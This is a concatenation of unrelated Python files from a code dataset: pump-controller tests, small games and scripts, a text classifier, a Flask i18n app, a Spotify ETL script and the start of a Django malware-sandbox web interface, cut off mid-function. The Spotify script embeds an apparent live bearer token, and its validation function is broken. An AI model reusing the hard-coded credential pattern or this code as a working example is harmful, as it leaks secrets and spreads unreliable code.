Pump('127.0.0.1', 8000)\n pump.set_state = MagicMock(return_value=True)\n actions = {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n }\n result = decider.decide(100, \"PUMP_OFF\", actions)\n self.assertEqual(actions[\"PUMP_OFF\"], result)\n\n def test_in_too_high(self):\n \"\"\"\n scenario: PUMP_IN, above target water level\n :return: PUMP_OFF\n \"\"\"\n decider = Decider(100, 0.05)\n pump = Pump('127.0.0.1', 8000)\n pump.set_state = MagicMock(return_value=True)\n actions = {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n }\n result = decider.decide(101, \"PUMP_IN\", actions)\n self.assertEqual(actions[\"PUMP_OFF\"], result)\n\n def test_in_not_enough(self):\n \"\"\"\n scenario: PUMP_IN, below target water level\n :return: PUMP_IN\n \"\"\"\n decider = Decider(100, 0.05)\n pump = Pump('127.0.0.1', 8000)\n pump.set_state = MagicMock(return_value=True)\n actions = {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n }\n result = decider.decide(96, \"PUMP_IN\", actions)\n self.assertEqual(actions[\"PUMP_IN\"], result)\n\n def test_out_too_much(self):\n \"\"\"\n scenario: PUMP_OUT, above target water level\n :return: PUMP_OUT\n \"\"\"\n decider = Decider(100, 0.05)\n pump = Pump('127.0.0.1', 8000)\n pump.set_state = MagicMock(return_value=True)\n actions = {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n }\n result = decider.decide(101, \"PUMP_OUT\", actions)\n self.assertEqual(actions[\"PUMP_OUT\"], result)\n\n def test_out_not_enough(self):\n \"\"\"\n scenario: PUMP_OUT, below target water level.\n :return: PUMP_OFF\n \"\"\"\n decider = Decider(100, 0.05)\n pump = Pump('127.0.0.1', 8000)\n pump.set_state = MagicMock(return_value=True)\n actions = {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n }\n result = decider.decide(99, \"PUMP_OUT\", actions)\n self.assertEqual(actions[\"PUMP_OFF\"], result)\n\n\nclass ControllerTests(unittest.TestCase):\n \"\"\"\n Unit tests for the Controller class\n \"\"\"\n\n def test_controller(self):\n \"\"\"\n Tests controller without invoking decider directly.\n \"\"\"\n pump = Pump('127.0.0.1', \"8001\")\n pump.get_state = MagicMock(return_value=1)\n pump.set_state = MagicMock(return_value=True)\n sensor = Sensor('127.0.0.1', \"8081\")\n sensor.measure = MagicMock(return_value=120)\n decider = Decider(100, 0.05)\n decider.decide = MagicMock(return_value=1)\n controller = Controller(sensor, pump, decider)\n controller_called = controller.tick()\n sensor.measure.assert_called()\n pump.get_state.assert_called()\n decider.decide.assert_called_with(120, 1, {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n })\n self.assertEqual(controller_called, True)\n","repo_name":"UWPCE-PythonCert-ClassRepos/Sp2018-Online","sub_path":"students/Chay_Casso/Lesson06/water-regulation-master/waterregulation/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29929325554","text":"prefCliente =int(input('Ola'\n '\\nSelecione o tipo de combustivel que voce deseja!'\n '\\nDigite o numero do combustivel.'\n '\\n(1)Gasolina Aditivada'\n '\\n(2)Gasolina Comum'\n '\\n(3)Diesel'\n '\\n(4)Etanol'\n '\\n'))\n\ndinheiroCliente =int(input ('Digite quanto de combustivel deseja colocar:'))\n\nif prefCliente == 1 :\n combus1 = dinheiroCliente/6.90\n print (f'Total de combustivel:{combus1:.2f}L')\nelif prefCliente == 2 :\n combus2 = dinheiroCliente/7.27\n print(f'Total de combustivel:{combus2:.2f}L')\nelif prefCliente == 3 :\n combus3 = dinheiroCliente/6.88\n print(f'Total de combustivel: {combus3:.2f}L')\nelif prefCliente == 4 :\n combus4 = dinheiroCliente/4.99\n print(f'Total de combustivel:{combus4:.2f}L')\n\n\n ","repo_name":"darahgarcia/projetos-treino","sub_path":"cliente.posto.py","file_name":"cliente.posto.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28513984681","text":"import sys\nfrom time import sleep\nimport pygame\nfrom bullet import Bullet\nfrom alien import Alien\n\n\ndef check_keydown_events(event, ai_settings, screen, ship, bullets):\n '''respond to keydown'''\n if event.key == pygame.K_RIGHT:\n ship.moving_right = True\n if event.key == pygame.K_LEFT:\n ship.moving_left = True\n if event.key == pygame.K_UP:\n ship.moving_up = True\n if event.key == pygame.K_DOWN:\n ship.moving_down = True\n elif event.key == pygame.K_SPACE:\n # create a bullet and add it into bullets Group\n fire_bullet(ai_settings, screen, ship, bullets)\n elif event.key == pygame.K_q:\n sys.exit()\n\n\ndef fire_bullet(ai_settings, screen, ship, bullets):\n '''if haven not reached to the limit, fire a bullet'''\n if len(bullets) < ai_settings.bullets_allowed: # bullet num limit\n new_bullet = Bullet(ai_settings, screen, ship)\n bullets.add(new_bullet)\n\n\ndef check_keyup_events(event, ship):\n '''respond to keyup'''\n if event.key == pygame.K_RIGHT:\n ship.moving_right = False\n if event.key == pygame.K_LEFT:\n ship.moving_left = False\n if event.key == pygame.K_UP:\n ship.moving_up = False\n if event.key == pygame.K_DOWN:\n ship.moving_down = False\n\n\ndef check_events(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets):\n \"\"\"check mouse and keyboard events\"\"\"\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n check_keydown_events(event, ai_settings, screen, ship, bullets)\n elif event.type == pygame.KEYUP:\n check_keyup_events(event, ship)\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n check_play_button(ai_settings, screen, stats, sb, play_button, ship,\n aliens, bullets, mouse_x, mouse_y)\n\n\ndef check_play_button(ai_settings, screen, stats, sb, play_button, ship, aliens,\n bullets, mouse_x, mouse_y):\n '''start game when Play button is clicked'''\n button_clicked = play_button.rect.collidepoint(mouse_x, mouse_y)\n if button_clicked and not stats.game_active:\n # reset game settings\n ai_settings.initialize_dynamic_settings()\n\n # reset game stats info\n pygame.mouse.set_visible(False)\n stats.reset_stats()\n stats.game_active = True\n\n # reset scoreboard image\n sb.prep_score()\n sb.prep_high_score()\n sb.prep_level()\n sb.prep_ships()\n\n # empty aliens and bullets\n aliens.empty()\n bullets.empty()\n\n # create a new group of aliens and center the ship\n create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n\n\ndef update_screen(ai_settings, screen, stats, sb, ship, aliens, bullets, play_button):\n '''update images on display and switch to new screen'''\n # redraw in every loop\n screen.fill(ai_settings.bg_color)\n # draw bullets after ship and aliens\n for bullet in bullets.sprites():\n bullet.draw_bullet()\n ship.blitme()\n aliens.draw(screen)\n # show score\n sb.show_score()\n\n # if the game is inactive, draw Play button\n if not stats.game_active:\n play_button.draw_button()\n\n # only the newest screen can be visible\n pygame.display.flip()\n\n\ndef update_bullets(ai_settings, screen, stats, sb, ship, aliens, bullets):\n '''update bullet position, and remove disapeared bullets'''\n # update bullet position\n bullets.update()\n\n # remove disapared bullet and print sprite number\n for bullet in bullets.copy():\n if bullet.rect.bottom <= 0:\n bullets.remove(bullet)\n\n # print(bullets) # for testing bullet delete function\n\n check_bullet_alien_collisions(\n ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n\ndef check_bullet_alien_collisions(ai_settings, screen, stats, sb, ship, aliens, bullets):\n '''respond to the collision of an alien and a bullet'''\n\n # remove collided alien and bullet\n collisions = pygame.sprite.groupcollide(bullets, aliens, True, True)\n\n if collisions:\n for aliens in collisions.values():\n stats.score += ai_settings.alien_points * len(aliens)\n sb.prep_score()\n check_high_score(stats, sb)\n\n if len(aliens) == 0:\n # remove all bullets and renew a group of aliens\n bullets.empty()\n ai_settings.increase_speed()\n\n # increase level\n stats.level += 1\n sb.prep_level()\n\n create_fleet(ai_settings, screen, ship, aliens)\n\n\ndef get_number_aliens_x(ai_settings, alien_width):\n '''calculate how many alines in a line'''\n available_space_x = ai_settings.screen_width - 2 * alien_width\n number_aliens_x = int(available_space_x / (2 * alien_width))\n return number_aliens_x\n\n\ndef get_number_rows(ai_settings, ship_height, alien_height):\n '''calculate how many lines of aliens'''\n available_space_y = (ai_settings.screen_height -\n (3 * alien_height) - ship_height)\n number_rows = int(available_space_y / (2 * alien_height))\n return number_rows\n\n\ndef create_alien(ai_settings, screen, aliens, alien_number, row_number):\n '''create an alien and position it in the current line'''\n alien = Alien(ai_settings, screen)\n alien_width = alien.rect.width\n alien.x = alien_width + 2 * alien_width * alien_number\n alien.rect.x = alien.x\n alien.rect.y = alien.rect.height + 2 * alien.rect.height * row_number\n aliens.add(alien)\n\n\ndef create_fleet(ai_settings, screen, ship, aliens):\n ''' create an alien fleet'''\n # create an lien and calculate how many in a line\n alien = Alien(ai_settings, screen)\n number_aliens_x = get_number_aliens_x(ai_settings, alien.rect.width)\n number_rows = get_number_rows(\n ai_settings, ship.rect.height, alien.rect.height)\n\n for row_number in range(number_rows):\n # create the first line of aliens\n for alien_number in range(number_aliens_x):\n # create one alien and add it in the line\n create_alien(ai_settings, screen, aliens, alien_number, row_number)\n\n\ndef check_fleet_edges(ai_settings, aliens):\n '''react when one alien touches the edge'''\n for alien in aliens.sprites():\n if alien.check_edges():\n change_fleet_direction(ai_settings, aliens)\n break\n\n\ndef change_fleet_direction(ai_settings, aliens):\n '''move all aliens down and change their direction'''\n for alien in aliens.sprites():\n alien.rect.y += ai_settings.fleet_drop_speed\n ai_settings.fleet_direction *= -1\n\n\ndef update_aliens(ai_settings, screen, stats, sb, ship, aliens, bullets):\n \"\"\"\n check if there are aliens touching the edge\n then update positions for all aliens\n \"\"\"\n check_fleet_edges(ai_settings, aliens)\n aliens.update()\n\n # detect a collision between an alien and a ship\n if pygame.sprite.spritecollideany(ship, aliens):\n ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets)\n\n # check if an alien touches the bottom edge\n check_aliens_bottom(ai_settings, stats, screen, sb, ship, aliens, bullets)\n\n\ndef check_aliens_bottom(ai_settings, stats, screen, sb, ship, aliens, bullets):\n '''check if an alien touches the bottom'''\n screen_rect = screen.get_rect()\n for alien in aliens.sprites():\n if alien.rect.bottom >= screen_rect.bottom:\n # act like ship collision\n ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets)\n break\n\n\ndef ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets):\n '''the ship responds when collides with an alien'''\n\n if stats.ships_left > 0:\n stats.ships_left -= 1\n sb.prep_ships()\n\n # empty the alien list and the bullet list\n aliens.empty()\n bullets.empty()\n\n # create a new group of aliens and re-position the ship\n create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n\n # palse\n sleep(2)\n\n else:\n stats.game_active = False\n pygame.mouse.set_visible(True)\n\n\ndef check_high_score(stats, sb):\n '''check if new high score'''\n if stats.score > stats.high_score:\n stats.high_score = stats.score\n sb.prep_high_score()\n","repo_name":"zjian107-su/Python-Learn-Collection","sub_path":"hands_on_projects/alien_invasion/game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":8399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22964382866","text":"import random\r\n\r\nhasEvent = {}\r\n\r\ndef convertFormat(x, y):\r\n\tkey = \"{} {}\".format(x, y)\r\n\treturn key\r\n\r\ndef eventsGenerator():\r\n\r\n\tnumber = random.randint(5, 100)\r\n\tevents = []\r\n\r\n\tfor i in range(number):\r\n\t\twhile True:\r\n\t\t\tx = random.randint(-10, 10)\r\n\t\t\ty = random.randint(-10, 10)\r\n\t\t\tkey = convertFormat(x, y)\r\n\r\n\t\t\tif hasEvent.get(key, False):\r\n\t\t\t\tcontinue\r\n\t\t\thasEvent[key] = True\r\n\t\r\n\t\t\ttickets = ticketsGenerator()\r\n\t\t\tevents.append((x, y, tickets, (i + 1)))\r\n\t\t\tbreak\r\n\r\n\treturn events\r\n\r\ndef ticketsGenerator():\r\n\r\n\tnumber = random.randint(0, 100)\r\n\ttickets = []\r\n\r\n\tfor i in range((number + 1)):\r\n\t\tprice = round(random.uniform(1, 100), 2)\r\n\t\ttickets.append((price, number))\r\n\r\n\ttickets = sorted(tickets, key=lambda x: int(x[0]))\r\n\r\n\treturn tickets\r\n\r\ndef distance(c1, c2):\r\n\tx1, y1 = c1\r\n\tx2, y2 = c2\r\n\r\n\treturn abs(x1 - x2) + abs(y1 - y2)\r\n\r\ndef findEvents(events, user):\r\n\r\n\tinfo = []\r\n\r\n\tfor i in range(len(events)):\r\n\t\teventID = events[i][3]\r\n\t\tdis = distance(user, events[i][:2])\r\n\t\tprice = events[i][2][0][0]\r\n\t\tnumber = events[i][2][0][1]\r\n\r\n\t\tinfo.append((eventID, dis, price, number))\r\n\r\n\tinfo = sorted(info, key=lambda x: x[1])\r\n\r\n\treturn info[:5]\r\n\r\ndef idGenerator(num):\r\n\tif num >= 10:\r\n\t\treturn '0' + str(num)\r\n\telse:\r\n\t\treturn '00' + str(num)\r\n\r\ndef main():\r\n\r\n\tevents = eventsGenerator()\r\n\r\n\twhile True:\r\n\r\n\t\ttry:\r\n\r\n\t\t\tuser = input(\"\\nWhere are you? (Enter exit to exit) \")\r\n\r\n\t\texcept:\r\n\r\n\t\t\tprint(\"\\nUnable to retrieve input, exiting the program\")\r\n\t\t\tbreak\r\n\r\n\t\tif user == \"exit\":\r\n\t\t\tbreak\r\n\r\n\t\tif (not user.replace(\",\", \"\").replace(\" \", \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\"+\", \"\").replace(\"-\", \"\").isdigit()) or (len(user) < 2):\r\n\t\t\tprint(\"Invalid Input. Coordinates must be digits within range -10 to 10\\n\")\r\n\t\t\tcontinue\r\n\r\n\t\tuser = list(map(int, user.split(\",\")))\r\n\r\n\t\tif (user[0] > 10 or user[0] < -10) or (user[1] > 10 or user[1] < -10):\r\n\t\t\tprint(\"Invalid Input. Coordinates must be digits within range -10 to 10\\n\")\r\n\t\t\tcontinue\r\n\r\n\t\tclosest = findEvents(events, user)\r\n\r\n\t\tprint(\"\\nEvents closest to ({}, {}):\\n\".format(user[0], user[1]))\r\n\r\n\t\tfor event in closest:\r\n\t\t\teventID = idGenerator(event[0])\r\n\t\t\tprint(\"Event Info: ID -> {}, Price -> ${}, {} tickets remaining, Distance -> {}\".format(eventID, event[2], event[3], event[1]))\r\n\r\n\tprint(\"Shutting Down...\")\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()","repo_name":"LanghaoZ/Miscellaneous","sub_path":"Viagogo OA 2018/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37454140661","text":"\nimport numpy as np\n\nfrom scipy.sparse import csr_matrix\n\nfrom inspect import getmembers, isfunction, getargspec\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.preprocessing import Normalizer\nfrom sklearn.metrics import f1_score\n\nimport features\n\n\nclass Classifier:\n def __init__(self, classifier, with_feat, with_bigram, is_threaded=False):\n \"\"\"\n Initialize the classifier instance with important values such as the algorithm or the feature\n representation\n :param classifier: scikit-learn object that is going to be used as classifer\n :param with_feat: boolean variable indicating whether indicator features are being used\n :param with_bigram: boolean variable indicating whether bigrams are being used\n :param is_threaded: boolean variable indicating whether multithread mode is enabled\n \"\"\"\n self.classifier = classifier\n self.inv_vocab = {}\n self.tfidf_transformer = TfidfTransformer()\n self.count_vect = CountVectorizer()\n if with_bigram:\n self.bigram_vect = CountVectorizer(ngram_range=(2, 2), max_features=100)\n self.tfidf_bigram = TfidfTransformer()\n\n self.with_feat = with_feat\n self.with_bigram = with_bigram\n self.is_threaded = is_threaded\n\n def learn_classifier(self, train_ds, train_labels, test_ds, test_labels, queue=[]):\n \"\"\"\n Train, test and compute the performance of the algorithm (F1 score) with the given train and test set\n :param train_ds: numpy array with the training set\n :param train_labels: numpy array with the training labels\n :param test_ds: numpy array with the testing set\n :param test_labels: numpy array with the testing labels\n :param queue: when threaded mode is enabled, queue where to put the results.\n :return: F1 score if no thread mode is in use\n \"\"\"\n # Train model\n clf = self.train(train_ds, train_labels)\n # Test it\n predictions = self.test(clf, test_ds)\n # Output results\n if self.is_threaded:\n queue.put(self.accuracy(predictions, test_labels))\n else:\n return self.accuracy(predictions, test_labels)\n\n def build_feature_matrix(self, dataset):\n \"\"\"\n Given a new dataset, build the feature matrix with the values of the indicator functions for each\n sample in matrix\n :param dataset: numpy array with all documents in training set\n :return: numpy array with the feature values for each document in training set\n \"\"\"\n # Create the dictionary of feature functions if it is not created\n if len(features.features_fun_dict) == 0:\n i = 0\n for o in getmembers(features):\n if isfunction(o[1]):\n features.features_fun_dict[i] = o[1]\n i += 1\n features.num_features = len(features.features_fun_dict)\n\n matrix = np.zeros([dataset.shape[0], features.num_features])\n\n # For each sample in dataset, call every feature function and store its value\n for i in range(dataset.shape[0]):\n for j in range(features.num_features):\n args = getargspec(features.features_fun_dict[j]).args\n if len(args) == 2:\n matrix[i, j] = features.features_fun_dict[j](dataset[i], self.inv_vocab)\n else:\n matrix[i, j] = features.features_fun_dict[j](dataset[i])\n\n # Return sparse matrix with the features (needed by the classifier)\n return csr_matrix(matrix)\n\n def train(self, train_set, train_labels):\n \"\"\"\n Train classifier\n :param train_set: numpy array with all documents in training set\n :param train_labels: numpy array with labels in training set\n :return: trained classifier\n \"\"\"\n # Transform dataset, obtaining the count of every word in vocabulary and performing tfidf conversion\n train_counts = self.count_vect.fit_transform(train_set)\n train_tfidf = self.tfidf_transformer.fit_transform(train_counts)\n\n # Build inverse vocabulary with all words in dictionary (needed to recover the word from the index\n # in some feature functions)\n self.inv_vocab = {v: k for k, v in self.count_vect.vocabulary_.items()}\n\n # If using feature representation, obtain the corresponding feature matrix and append\n if self.with_feat:\n matrix = self.build_feature_matrix(train_counts)\n matrix_norm = Normalizer().fit(matrix).transform(matrix)\n train_tfidf = csr_matrix(np.concatenate((train_tfidf.toarray(), matrix_norm.toarray()), axis=1))\n\n # If using bigram representation, obtain the top 100 bigrams and append\n if self.with_bigram:\n bigram_counts = self.bigram_vect.fit_transform(train_set)\n bigram_tfidf = self.tfidf_bigram.fit_transform(bigram_counts)\n train_tfidf = csr_matrix(np.concatenate((train_tfidf.toarray(), bigram_tfidf.toarray()), axis=1))\n\n # Return trained classifier\n return self.classifier.fit(train_tfidf, train_labels)\n\n def test(self, clf, test_set):\n \"\"\"\n Test classifier\n :param clf: scikit-learn object containing a trained classifier with the desired algorithm\n :param test_set: numpy array with all documents in test set\n :return: numpy array with the predictions\n \"\"\"\n # Transform test set the same way the training set is transformed\n test_counts = self.count_vect.transform(test_set)\n test_tfidf = self.tfidf_transformer.transform(test_counts)\n\n # If using feature representation, obtain the corresponding feature matrix and append\n if self.with_feat:\n test_matrix = self.build_feature_matrix(test_counts)\n test_matrix_norm = Normalizer().fit(test_matrix).transform(test_matrix)\n test_tfidf = csr_matrix(np.concatenate((test_tfidf.toarray(), test_matrix_norm.toarray()), axis=1))\n\n # If using feature representation, obtain the corresponding top 100 bigrams and append\n if self.with_bigram:\n bigram_counts = self.bigram_vect.fit_transform(test_set)\n bigram_tfidf = self.tfidf_bigram.fit_transform(bigram_counts)\n test_tfidf = csr_matrix(np.concatenate((test_tfidf.toarray(), bigram_tfidf.toarray()), axis=1))\n\n # Return predictions\n return clf.predict(test_tfidf)\n\n @staticmethod\n def accuracy(predictions, test_labels):\n \"\"\"\n Compute the desired measure of performance (F1 in this case)\n :param predictions: numpy array with the predictions made by our classifier\n :param test_labels: numpy array with the real labels\n :return: F1 score of the predictions made\n \"\"\"\n return f1_score(test_labels, predictions, average='micro') * 100\n\n","repo_name":"jsendino/NewsAggregator","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":7022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7331932132","text":"import os\nimport pandas as pd\nimport numpy as np\n\n\ndef listdir(path, list_name): # 传入存储的list\n for file in os.listdir(path):\n file_path = os.path.join(path, file)\n if os.path.isdir(file_path):\n listdir(file_path, list_name)\n else:\n list_name.append(file_path)\n\nfile_paths = []#F:\\gitworkspace\\python\\e-nose-cnn\\data\nlistdir(\"D:\\\\WeChat\\\\WeChat Files\\\\mzf14ihntts\\\\FileStorage\\\\File\\\\2019-11\\\\dataset\\\\train_set\", file_paths)\n# print(file_paths)\n\n##csv add hearder\ndata = range(60)\ndata = pd.DataFrame(data)\ndata = data.values\ndata = list(map(list,zip(*data)))\ndata = pd.DataFrame(data)\ndata.to_csv(os.path.join(\"D:\\\\WeChat\\\\WeChat Files\\\\mzf14ihntts\\\\FileStorage\\\\File\\\\2019-11\\\\dataset\", \"train_set.csv\"), encoding='utf_8_sig', index=False, header=0)\n\nfor i in file_paths:\n try:\n data = pd.read_csv(i, usecols=['0','1','2','3','4','5','6','7','8','9'])\n data = data.values\n data = list(map(list,zip(*data)))\n data = pd.DataFrame(data)\n data.to_csv(os.path.join(\"D:\\\\WeChat\\\\WeChat Files\\\\mzf14ihntts\\\\FileStorage\\\\File\\\\2019-11\\\\dataset\", \"train_set.csv\"), encoding='utf_8_sig',index=False, header=0, mode = 'a+') \n except Exception as e:\n print(i)","repo_name":"19120332843/learning_python","sub_path":"e-nose-cnn/all_csv2one_csv.py","file_name":"all_csv2one_csv.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40596767973","text":"import sqlalchemy\nimport pandas as pd\nimport sqlite3\nimport requests\nimport json\nimport datetime\nimport pandas as pd\n\nfrom os import access\n\n\nDB_LOCATION = \"sqlite:///my_played_tracks.sqlite\"\nUSER_ID = \"Sztaber\"\nTOKEN = 'BQC2BaRBT6d4rH0NIh-SN2H6wz12g-7pmV1PGYVRrMtuAjYgsQzHu57ZjnUK-KaQw-hn6G0i7rPhoLlHrn17Mv_LB2zF-H7V0VcKvFhn1mePXDm-Yi07hDgncORDzzjMZg5bacqmwB9Ko3MXdDrUrJ-bVA2nJzXg94GbR5H2'\n\n# Create function for validate the data\n\ndef check_if_valid_data (df: pd.DataFrame) -> bool:\n if df.empty:\n print(\"No songs downloaded. Finishing execution.\")\n return False\n elif pd.Series(df('played_at')).is_unique:\n pass\n else:\n raise Exception('Primary key check is violated')\n\n if df.isnull().values.any():\n raise Exception('Null values Found')\n\n properTime = datetime.datetime.now() - datetime.timedelta(days=30)\n properTime = properTime.replace(hour=0, minute=0, second=0, microsecond=0)\n\n timestamps = df['timestamps'].toList()\n\n for timestamp in timestamps:\n if datetime.datetime.strptime(timestamp, \"%Y-%m-%d\") != properTime:\n raise Exception ('At least one song does not have proper timestamp')\n\n return True\n\nif __name__ == '__main__':\n\n\n\n\n#Extract the data from Spotify API\n\n headers = {\n 'Accept' : 'application/json',\n 'Content-Type' : 'application/json',\n 'Authorization' : f'Bearer {TOKEN}'\n }\n\n today = datetime.datetime.now()\n time_range = today - datetime.timedelta(days=7)\n time_range_unix = int(time_range.timestamp()) * 1000\n\n # Get played songs from the last 7 days\n r = requests.get(f'https://api.spotify.com/v1/me/player/recently-played?after={time_range_unix}', headers=headers)\n\n data = r.json()\n\n\n\n\n # Put the data into dataframe\n\n songs_names = []\n artists_names = []\n played_at_list = []\n timestamps_list = []\n\n for song in data['items']:\n songs_names.append(song['track']['name'])\n artists_names.append(song['track']['album']['artists'][0]['name'])\n played_at_list.append(song['played_at'])\n timestamps_list.append(song['played_at'][0:10])\n\n song_dict = {\n 'song_name' : songs_names,\n 'artist_name' : artists_names,\n 'played_at' : played_at_list,\n 'timestamps' : timestamps_list \n }\n\n song_df = pd.DataFrame(song_dict, columns=['song_name', 'artist_name', 'played_at', 'timestamps'])\n\n print(song_df)\n\n\n\n \n\n\n\n\n\n engine = sqlalchemy.create_engine(DB_LOCATION)\n conn = sqlite3.connect('my_played_tracks.sqlite')\n cursor = conn.cursor()\n\n sql_query = \"\"\"\n CREATE TABLE IF NOT EXISTS my_played_tracks (\n song_name VARCHAR(200),\n artist_name VARCAHR(200),\n played_at VARCHAR(200),\n timestamp VARCHAR(200),\n CONSTRAINT primary_key_constraint PRIMARY KEY (played_at)\n )\n \"\"\"\n\n cursor.execute(sql_query)\n print(\"Database opened successfully!\")\n \n\n\n\n\n\n ","repo_name":"Sztabers/Spotify_ETL","sub_path":"dags/spotify_etl.py","file_name":"spotify_etl.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12097810452","text":"#!/usr/bin/env python3\n'''\nBasic flask application uses\nbabel to switch between languages\n'''\nfrom flask import Flask, render_template, request\nfrom flask_babel import Babel, _\n\n\napp = Flask(__name__)\nbabel = Babel(app)\n\n\nclass Config:\n '''\n Configuration file for\n flask babel vars\n '''\n LANGUAGES = [\"en\", \"fr\"]\n BABEL_DEFAULT_LOCALE = \"en\"\n BABEL_DEFAULT_TIMEZONE = \"UTC\"\n\n\napp.config.from_object(Config) # Configuration initialized in app instance\n\n\n@babel.localeselector\ndef get_locale() -> str:\n '''\n selects a locale to use as default\n Detects locale variable in requests\n '''\n supported_locales = ['en', 'fr']\n if 'locale' in request.args:\n locale = request.args.get('locale')\n if locale in supported_locales:\n return locale\n return request.accept_languages.best_match(app.config['LANGUAGES'])\n\n\n@app.route('/', strict_slashes=False)\ndef hello_world() -> str:\n '''\n Home route serves index page\n index page\n '''\n return render_template('4-index.html')\n\n\nif __name__ == \"__main__\":\n '''\n Starts code if not imported\n '''\n app.run()\n","repo_name":"Adisa-Shobi/alx-backend","sub_path":"0x02-i18n/4-app.py","file_name":"4-app.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16458566916","text":"import os\nimport logging\nfrom django.http import HttpResponse, FileResponse\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import login\nfrom web.forms import FileSubmissionForm, RegistrationForm\nfrom django.contrib.auth.decorators import login_required\nfrom web.utils import prep_file_submission\nfrom web.tasks import start_analysis, get_my_tasks_info\nfrom analysis.reporting.report import get_backend_report, get_all_reports, download_artifact\n\n\nlogging.basicConfig(level=os.environ.get(\"LOGLEVEL\", \"INFO\"))\nLOG = logging.getLogger(__name__)\n\n\ndef index(request):\n \"\"\"\n This function is called when a user visits the homepage of ELFEN.\n\n :param request: WSGIRequest\n :type request: django.core.handlers.wsgi.WSGIRequest\n :return: HTTP response\n :rtype: django.http.response.HttpResponse\n \"\"\"\n tasks_info = get_my_tasks_info()\n LOG.debug(\"Index view called\")\n return render(request, \"web/home.html\", {\"recent_tasks\": tasks_info})\n\n\ndef sign_up(request):\n \"\"\"\n This function is called when a user wants to create a new account in ELFEN.\n\n :param request: WSGIRequest\n :type request: django.core.handlers.wsgi.WSGIRequest\n :return: HTTP response\n :rtype: django.http.response.HttpResponse\n \"\"\"\n LOG.debug(\"Sign up view called\")\n form = RegistrationForm()\n\n password_tips = form.fields.get(\"password1\", \"\").help_text.split(\"\\n\")\n\n if request.method == \"POST\":\n LOG.debug(\"POST request received to sign up\")\n form = RegistrationForm(request.POST)\n if form.is_valid():\n LOG.debug(\"POST request received to sign up is valid\")\n user = form.save()\n login(request, user)\n return redirect(\"home\")\n\n return render(request, \"registration/sign_up.html\", {\"form\": form,\n \"password_tips\": password_tips})\n\n\n@login_required\ndef submit_elf(request):\n \"\"\"\n This function accepts file uploads from users and asynchronously\n starts analysis.\n\n :param request: WSGIRequest\n :type request: django.core.handlers.wsgi.WSGIRequest\n :return: HTTP response\n :rtype: django.http.response.HttpResponse\n \"\"\"\n LOG.debug(\"Submit ELF view called\")\n form = FileSubmissionForm()\n\n if request.method == \"POST\":\n LOG.debug(\"POST request received to submit ELF\")\n form = FileSubmissionForm(request.POST, request.FILES)\n\n # Only authenticated users submitting valid forms are allowed\n if form.is_valid():\n LOG.debug(\"POST request received to submit ELF is valid\")\n file = request.FILES[\"file\"]\n additional_files = request.FILES.getlist(\"additional_files\")\n userland_tracing = True if request.POST.get(\"userland_tracing\", None) else False\n enable_internet = True if request.POST.get(\"enable_internet\", None) else False\n exec_args = request.POST.get(\"execution_arguments\", \"\")\n status, ret = prep_file_submission(file, request.user.username,\n request.POST[\"execution_time\"],\n request.POST.get(\"machine\"),\n execution_arguments=exec_args,\n userland_tracing=userland_tracing,\n enable_internet=enable_internet,\n additional_files=additional_files)\n\n if status is False:\n # TODO: Prepare error page if writing sample to disk fails\n return HttpResponse(ret[\"error_msg\"])\n elif status is True:\n context = ret\n LOG.debug(f\"Execution context: {context}\")\n start_analysis.delay(context)\n return redirect(\"report\", context[\"submission_uuid\"])\n\n return render(request, \"web/submit_elf.html\", {\"form\": form})\n\n\ndef elf_reports(request, submission_uuid):\n \"\"\"\n This function returns the analysis report for a given task UUID.\n\n :param request: WSGIRequest\n :type request: django.core.handlers.wsgi.WSGIRequest\n :param 